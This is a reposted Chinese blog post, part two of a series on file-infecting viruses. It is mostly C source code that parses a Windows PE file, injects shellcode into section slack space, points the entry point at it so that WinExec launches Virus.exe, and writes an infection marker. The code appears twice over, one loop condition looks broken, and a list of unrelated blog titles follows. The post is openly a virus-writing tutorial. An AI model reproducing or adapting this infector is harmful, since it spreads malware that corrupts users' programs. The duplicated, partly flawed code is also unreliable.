关于感染型病毒的那些事(二) - GaA.Ra的自留地 in Csdn - CSDN博客
来源:百度文库 编辑:神马文学网 时间:2024/04/26 18:57:31
关于感染型病毒的那些事(二) 收藏
从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成.view plaincopy to clipboardprint?
//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
{
unsigned char *p = InjectCode;
*(DWORD *)(p + 1) = VEP + ImageBase + 0x2B; //SEH处理程序地址
*(DWORD *)(p + 15) = ImageBase + 0x53; //病毒名,这里我写在了PE的DOS头中
*(DWORD *)(p + 20) = aWinExec; //offset WinExec
*(DWORD *)(p + 37) = OEP + ImageBase; //原程序OEP地址
*(DWORD *)(p + 43) = OEP + ImageBase;
return 0x3E; //0x3E是InjectCode的长度
}
//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
{
unsigned char *p = InjectCode;
*(DWORD *)(p + 1) = VEP + ImageBase + 0x2B; //SEH处理程序地址
*(DWORD *)(p + 15) = ImageBase + 0x53; //病毒名,这里我写在了PE的DOS头中
*(DWORD *)(p + 20) = aWinExec; //offset WinExec
*(DWORD *)(p + 37) = OEP + ImageBase; //原程序OEP地址
*(DWORD *)(p + 43) = OEP + ImageBase;
return 0x3E; //0x3E是InjectCode的长度
} 利用Windows搜索文件的基址,如果将病毒放在System32文件夹下,那么,WinExec路径参数只需传递病毒文件名即可(如Virus.exe). 打开文件进行注入感染,果然是:CreateFile()->CreateFileMapping()->MapViewOfFile()->InjectHelper()->UnMapViewOfFile(),CloseHandle().关键代码在于InjectHelper,是注入感染的帮助函数.用MapViewOfFile得到文件的内存指针,然后将指针传递给InjectHelper(),详细代码如下:view plaincopy to clipboardprint?
void InjectHelper(char *Buff)
{
//检查感染标志
if (*(Buff + 0x4e) == 0x49 //'I'注入感染
|| *(Buff + 0x4e) == 0x52 //'R'资源感染
|| *(Buff + 0x4e) == 0x56) //'V'病毒主体文件
{
return;
}
char *ptr = Buff, *Section;
DWORD temp, OEP, VEP, ImageBase;
int i, NumberOfSection, LengthOfInjectCode;
if (*(WORD *)ptr != 0x5A4D) return; //检查MZ标志
ptr += *(WORD *)(ptr + 0x3c); //指向e_lfanew
if (*(WORD *)ptr != 0x4550) return; //检查PE标志
temp = *(WORD *)(ptr + 0x5c); //指向SubSystem
if (temp != 2 && temp != 3) return; //检查子系统版本,GUI或CUI
OEP = *(DWORD *)(ptr + 0x28); //取得原OEP
Section = ptr + 0x100; //指向VirtualSize
NumberOfSection = *(WORD *)(ptr + 6); //获取节数
for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中
{
if(*(DWORD *)(Section + 4) <= OEP \
&& *(DWORD *)Section + *(DWORD *)(Section + 4))
break;
Section += 0x28;
}
if (i >= NumberOfSection - 1)
{
return;
}
temp = *((DWORD *)Section + 8); //指向RawSize
if (*(DWORD *)Section < temp) temp = *(DWORD *)Section; //取VirtualSize和RawSize中小的值
VEP = *(DWORD *)(Section + 4) + temp; //VirtualAddress+temp(其实就是代码的长度)
ImageBase = *(DWORD *)(ptr + 0x34);
LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
if (*(DWORD *)(Section + 0x28 + 0xc) <= //利用原代码长度加注入代码长度
temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域
{
return;
}
MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
*(DWORD *)(ptr + 0x28) = VEP; //修改PE文件的EntryPoint为注入代码地址
//写入注入标示'I'和病毒名Virus.exe,位于DOS头
*(Buff + 0x4e) = 0x49;
*(Buff + 0x53) = 'V';
*(Buff + 0x54) = 'i';
*(Buff + 0x55) = 'r';
*(Buff + 0x56) = 'u';
*(Buff + 0x57) = 's';
*(Buff + 0x58) = '.';
*(Buff + 0x59) = 'e';
*(Buff + 0x5a) = 'x';
*(Buff + 0x5b) = 'e';
*(Buff + 0x5c) = '\0';
return;
}
void InjectHelper(char *Buff)
{
//检查感染标志
if (*(Buff + 0x4e) == 0x49 //'I'注入感染
|| *(Buff + 0x4e) == 0x52 //'R'资源感染
|| *(Buff + 0x4e) == 0x56) //'V'病毒主体文件
{
return;
}
char *ptr = Buff, *Section;
DWORD temp, OEP, VEP, ImageBase;
int i, NumberOfSection, LengthOfInjectCode;
if (*(WORD *)ptr != 0x5A4D) return; //检查MZ标志
ptr += *(WORD *)(ptr + 0x3c); //指向e_lfanew
if (*(WORD *)ptr != 0x4550) return; //检查PE标志
temp = *(WORD *)(ptr + 0x5c); //指向SubSystem
if (temp != 2 && temp != 3) return; //检查子系统版本,GUI或CUI
OEP = *(DWORD *)(ptr + 0x28); //取得原OEP
Section = ptr + 0x100; //指向VirtualSize
NumberOfSection = *(WORD *)(ptr + 6); //获取节数
for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中
{
if(*(DWORD *)(Section + 4) <= OEP \
&& *(DWORD *)Section + *(DWORD *)(Section + 4))
break;
Section += 0x28;
}
if (i >= NumberOfSection - 1)
{
return;
}
temp = *((DWORD *)Section + 8); //指向RawSize
if (*(DWORD *)Section < temp) temp = *(DWORD *)Section; //取VirtualSize和RawSize中小的值
VEP = *(DWORD *)(Section + 4) + temp; //VirtualAddress+temp(其实就是代码的长度)
ImageBase = *(DWORD *)(ptr + 0x34);
LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
if (*(DWORD *)(Section + 0x28 + 0xc) <= //利用原代码长度加注入代码长度
temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域
{
return;
}
MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
*(DWORD *)(ptr + 0x28) = VEP; //修改PE文件的EntryPoint为注入代码地址 //写入注入标示'I'和病毒名Virus.exe,位于DOS头
*(Buff + 0x4e) = 0x49;
*(Buff + 0x53) = 'V';
*(Buff + 0x54) = 'i';
*(Buff + 0x55) = 'r';
*(Buff + 0x56) = 'u';
*(Buff + 0x57) = 's';
*(Buff + 0x58) = '.';
*(Buff + 0x59) = 'e';
*(Buff + 0x5a) = 'x';
*(Buff + 0x5b) = 'e';
*(Buff + 0x5c) = '\0'; return;
} 利用BYTE*指针(即char*指针)指向buffer来完成指针的移动操作比较容易理解,但是需要做大量的WORD和DWORD的转换,基本这样就完成了对一个文件的注入感染了.过程中没有引入PE文件头的各类结构,都是用指针定位,所以需要对PE结构有一定的理解. To be continue... 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/28/5699512.aspx
从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成.view plaincopy to clipboardprint?
//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
{
unsigned char *p = InjectCode;
*(DWORD *)(p + 1) = VEP + ImageBase + 0x2B; //SEH处理程序地址
*(DWORD *)(p + 15) = ImageBase + 0x53; //病毒名,这里我写在了PE的DOS头中
*(DWORD *)(p + 20) = aWinExec; //offset WinExec
*(DWORD *)(p + 37) = OEP + ImageBase; //原程序OEP地址
*(DWORD *)(p + 43) = OEP + ImageBase;
return 0x3E; //0x3E是InjectCode的长度
}
//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
{
unsigned char *p = InjectCode;
*(DWORD *)(p + 1) = VEP + ImageBase + 0x2B; //SEH处理程序地址
*(DWORD *)(p + 15) = ImageBase + 0x53; //病毒名,这里我写在了PE的DOS头中
*(DWORD *)(p + 20) = aWinExec; //offset WinExec
*(DWORD *)(p + 37) = OEP + ImageBase; //原程序OEP地址
*(DWORD *)(p + 43) = OEP + ImageBase;
return 0x3E; //0x3E是InjectCode的长度
} 利用Windows搜索文件的基址,如果将病毒放在System32文件夹下,那么,WinExec路径参数只需传递病毒文件名即可(如Virus.exe). 打开文件进行注入感染,果然是:CreateFile()->CreateFileMapping()->MapViewOfFile()->InjectHelper()->UnMapViewOfFile(),CloseHandle().关键代码在于InjectHelper,是注入感染的帮助函数.用MapViewOfFile得到文件的内存指针,然后将指针传递给InjectHelper(),详细代码如下:view plaincopy to clipboardprint?
void InjectHelper(char *Buff)
{
//检查感染标志
if (*(Buff + 0x4e) == 0x49 //'I'注入感染
|| *(Buff + 0x4e) == 0x52 //'R'资源感染
|| *(Buff + 0x4e) == 0x56) //'V'病毒主体文件
{
return;
}
char *ptr = Buff, *Section;
DWORD temp, OEP, VEP, ImageBase;
int i, NumberOfSection, LengthOfInjectCode;
if (*(WORD *)ptr != 0x5A4D) return; //检查MZ标志
ptr += *(WORD *)(ptr + 0x3c); //指向e_lfanew
if (*(WORD *)ptr != 0x4550) return; //检查PE标志
temp = *(WORD *)(ptr + 0x5c); //指向SubSystem
if (temp != 2 && temp != 3) return; //检查子系统版本,GUI或CUI
OEP = *(DWORD *)(ptr + 0x28); //取得原OEP
Section = ptr + 0x100; //指向VirtualSize
NumberOfSection = *(WORD *)(ptr + 6); //获取节数
for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中
{
if(*(DWORD *)(Section + 4) <= OEP \
&& *(DWORD *)Section + *(DWORD *)(Section + 4))
break;
Section += 0x28;
}
if (i >= NumberOfSection - 1)
{
return;
}
temp = *((DWORD *)Section + 8); //指向RawSize
if (*(DWORD *)Section < temp) temp = *(DWORD *)Section; //取VirtualSize和RawSize中小的值
VEP = *(DWORD *)(Section + 4) + temp; //VirtualAddress+temp(其实就是代码的长度)
ImageBase = *(DWORD *)(ptr + 0x34);
LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
if (*(DWORD *)(Section + 0x28 + 0xc) <= //利用原代码长度加注入代码长度
temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域
{
return;
}
MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
*(DWORD *)(ptr + 0x28) = VEP; //修改PE文件的EntryPoint为注入代码地址
//写入注入标示'I'和病毒名Virus.exe,位于DOS头
*(Buff + 0x4e) = 0x49;
*(Buff + 0x53) = 'V';
*(Buff + 0x54) = 'i';
*(Buff + 0x55) = 'r';
*(Buff + 0x56) = 'u';
*(Buff + 0x57) = 's';
*(Buff + 0x58) = '.';
*(Buff + 0x59) = 'e';
*(Buff + 0x5a) = 'x';
*(Buff + 0x5b) = 'e';
*(Buff + 0x5c) = '\0';
return;
}
void InjectHelper(char *Buff)
{
//检查感染标志
if (*(Buff + 0x4e) == 0x49 //'I'注入感染
|| *(Buff + 0x4e) == 0x52 //'R'资源感染
|| *(Buff + 0x4e) == 0x56) //'V'病毒主体文件
{
return;
}
char *ptr = Buff, *Section;
DWORD temp, OEP, VEP, ImageBase;
int i, NumberOfSection, LengthOfInjectCode;
if (*(WORD *)ptr != 0x5A4D) return; //检查MZ标志
ptr += *(WORD *)(ptr + 0x3c); //指向e_lfanew
if (*(WORD *)ptr != 0x4550) return; //检查PE标志
temp = *(WORD *)(ptr + 0x5c); //指向SubSystem
if (temp != 2 && temp != 3) return; //检查子系统版本,GUI或CUI
OEP = *(DWORD *)(ptr + 0x28); //取得原OEP
Section = ptr + 0x100; //指向VirtualSize
NumberOfSection = *(WORD *)(ptr + 6); //获取节数
for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中
{
if(*(DWORD *)(Section + 4) <= OEP \
&& *(DWORD *)Section + *(DWORD *)(Section + 4))
break;
Section += 0x28;
}
if (i >= NumberOfSection - 1)
{
return;
}
temp = *((DWORD *)Section + 8); //指向RawSize
if (*(DWORD *)Section < temp) temp = *(DWORD *)Section; //取VirtualSize和RawSize中小的值
VEP = *(DWORD *)(Section + 4) + temp; //VirtualAddress+temp(其实就是代码的长度)
ImageBase = *(DWORD *)(ptr + 0x34);
LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
if (*(DWORD *)(Section + 0x28 + 0xc) <= //利用原代码长度加注入代码长度
temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域
{
return;
}
MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
*(DWORD *)(ptr + 0x28) = VEP; //修改PE文件的EntryPoint为注入代码地址 //写入注入标示'I'和病毒名Virus.exe,位于DOS头
*(Buff + 0x4e) = 0x49;
*(Buff + 0x53) = 'V';
*(Buff + 0x54) = 'i';
*(Buff + 0x55) = 'r';
*(Buff + 0x56) = 'u';
*(Buff + 0x57) = 's';
*(Buff + 0x58) = '.';
*(Buff + 0x59) = 'e';
*(Buff + 0x5a) = 'x';
*(Buff + 0x5b) = 'e';
*(Buff + 0x5c) = '\0'; return;
} 利用BYTE*指针(即char*指针)指向buffer来完成指针的移动操作比较容易理解,但是需要做大量的WORD和DWORD的转换,基本这样就完成了对一个文件的注入感染了.过程中没有引入PE文件头的各类结构,都是用指针定位,所以需要对PE结构有一定的理解. To be continue... 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/28/5699512.aspx
关于感染型病毒的那些事(二) - GaA.Ra的自留地 in Csdn - CSDN博客
关于感染型病毒的那些事(一) - GaA.Ra的自留地 in Csdn - CSDN博客
关于numeric_limits - qianlong88的专栏 - CSDN博客
关于编程学习的七点思索 - Purpleendurer@CSDN - CSDN博客
关于Detours的完整翻译 - monkisgod的专栏 - CSDN博客
二十八星宿图 - welcomejzh的专栏 - CSDN博客
关于RMsgQueue类的使用 - World of Symbian - CSDN博客
baozhengw的专栏 - CSDN博客
事件与委托趣谈 - CSDN-浩淼的天空 - CSDN博客
Spring In Action读书笔记 - 蒋趁心 - CSDN博客
AGPS简介 - kv110的专栏 - CSDN博客
奇妙的Base64编码 - 天奇居 - CSDN博客
破解工具软件 - 梦的归宿 - CSDN博客
OpenMAX简介 - shenbin1430的专栏 - CSDN博客
Android flinger - simmer_ken的专栏 - CSDN博客
windows 命令 - orangeman1982112的专栏 - CSDN博客
JNDI概述 - tanghongru1983的专栏 - CSDN博客
指针 - syhhl007的专栏 - CSDN博客
变量命名 - yszwn的专栏 - CSDN博客
联发博动笔试 - 奋起的blog - CSDN博客
什么是PLL - JasonCao的专栏 - CSDN博客
VC积累 - cherryt的专栏 - CSDN博客
fms技术 - wanglilin2000的专栏 - CSDN博客
Android的PVPlayer介绍 CSDN博客